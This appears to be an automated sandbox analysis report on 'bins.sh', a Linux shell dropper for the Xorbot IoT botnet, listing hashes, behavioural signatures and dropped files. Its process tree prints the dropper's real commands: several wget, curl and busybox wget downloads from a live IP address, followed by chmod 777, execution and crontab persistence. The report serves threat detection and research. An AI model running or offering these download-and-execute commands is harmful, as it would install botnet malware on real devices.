Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-12-2024 06:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3ec05170856171325b0751f5ea6d0ce2

  • SHA1

    1d4812ade6ba446cda12ccab01c5cf5f56d59f0d

  • SHA256

    32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e

  • SHA512

    8581e8589806b577e6557e6ac83d77de355039ff8fc99fb11c60d9eccb8af27ccb6b5fe89f690a87d8d7ca0bcc67788d024594da0e8c8d008b9e3a7033c34b2f

  • SSDEEP

    96:8diayTnIZxJKu8fwckvve4VwaUUQ2c8XUQ2kgGdiayTnfZxfwckvvo48OPEZxJKU:86fwckvve4OaUUQUUQ8wckvvN8

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1722) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:674
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:676
        • /usr/bin/wget
          wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:682
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:696
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:706
        • /bin/chmod
          chmod 777 znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • File and Directory Permissions Modification
          PID:708
        • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          ./znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Executes dropped EXE
          PID:709
        • /bin/rm
          rm znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
            PID:711
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:712
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:714
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 777 GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • File and Directory Permissions Modification
            PID:725
          • /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            ./GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Executes dropped EXE
            PID:726
          • /bin/rm
            rm GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
              PID:729
            • /usr/bin/wget
              wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Writes file to tmp directory
              PID:731
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:737
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Writes file to tmp directory
              PID:745
            • /bin/chmod
              chmod 777 WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • File and Directory Permissions Modification
              PID:748
            • /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              ./WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Executes dropped EXE
              PID:749
            • /bin/rm
              rm WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
                PID:752
              • /usr/bin/wget
                wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Writes file to tmp directory
                PID:753
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:760
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Writes file to tmp directory
                PID:771
              • /bin/chmod
                chmod 777 sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • File and Directory Permissions Modification
                PID:774
              • /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                ./sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Executes dropped EXE
                PID:775
              • /bin/rm
                rm sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                  PID:777
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Writes file to tmp directory
                  PID:780
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:783
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Writes file to tmp directory
                  PID:792
                • /bin/chmod
                  chmod 777 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • File and Directory Permissions Modification
                  PID:795
                • /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  ./7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:796
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:798
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:800
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:802
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:803
                      • /bin/rm
                        rm 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                        2⤵
                          PID:807
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                          2⤵
                            PID:811
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                            2⤵
                              PID:813
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                              2⤵
                              • Writes file to tmp directory
                              PID:894
                            • /bin/chmod
                              chmod 777 TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                              2⤵
                              • File and Directory Permissions Modification
                              PID:912
                            • /tmp/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                              ./TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                              2⤵
                              • Executes dropped EXE
                              PID:914
                            • /bin/rm
                              rm TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                              2⤵
                                PID:915
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                2⤵
                                  PID:916
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                  2⤵
                                    PID:918
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:920
                                  • /bin/chmod
                                    chmod 777 5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:921
                                  • /tmp/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                    ./5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                    2⤵
                                    • Executes dropped EXE
                                    PID:922
                                  • /bin/rm
                                    rm 5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                                    2⤵
                                      PID:924
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                                      2⤵
                                        PID:925

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v

                                      Filesize

                                      177KB

                                      MD5

                                      786d75a158fe731feca3880f436082c0

                                      SHA1

                                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                      SHA256

                                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                      SHA512

                                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                    • /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /tmp/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY

                                      Filesize

                                      111KB

                                      MD5

                                      ca897a38f23ec23521ce0b1b83f8422d

                                      SHA1

                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                      SHA256

                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                      SHA512

                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                    • /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL

                                      Filesize

                                      99KB

                                      MD5

                                      9438d9bc392bcf300a5583b6df5bc8f6

                                      SHA1

                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                      SHA256

                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                      SHA512

                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                    • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /var/spool/cron/crontabs/tmp.l3eqYd

                                      Filesize

                                      210B

                                      MD5

                                      96f72ffe3dca61e27ab96ec140ba3a3f

                                      SHA1

                                      104bd7e81019fbce5ef708ef8c9e6a82922d8df7

                                      SHA256

                                      513d06f09ea6e25cb0b0da479c8e1bc7e6431049297702537458a31c8b31bd0c

                                      SHA512

                                      48d78651386a5bc2bd855c6924ef35c3ffa327684c452c833f0dababc165dfb481f509f8511121212a8535c0910fe01da47807c84d90d7174a74c7903696d1b0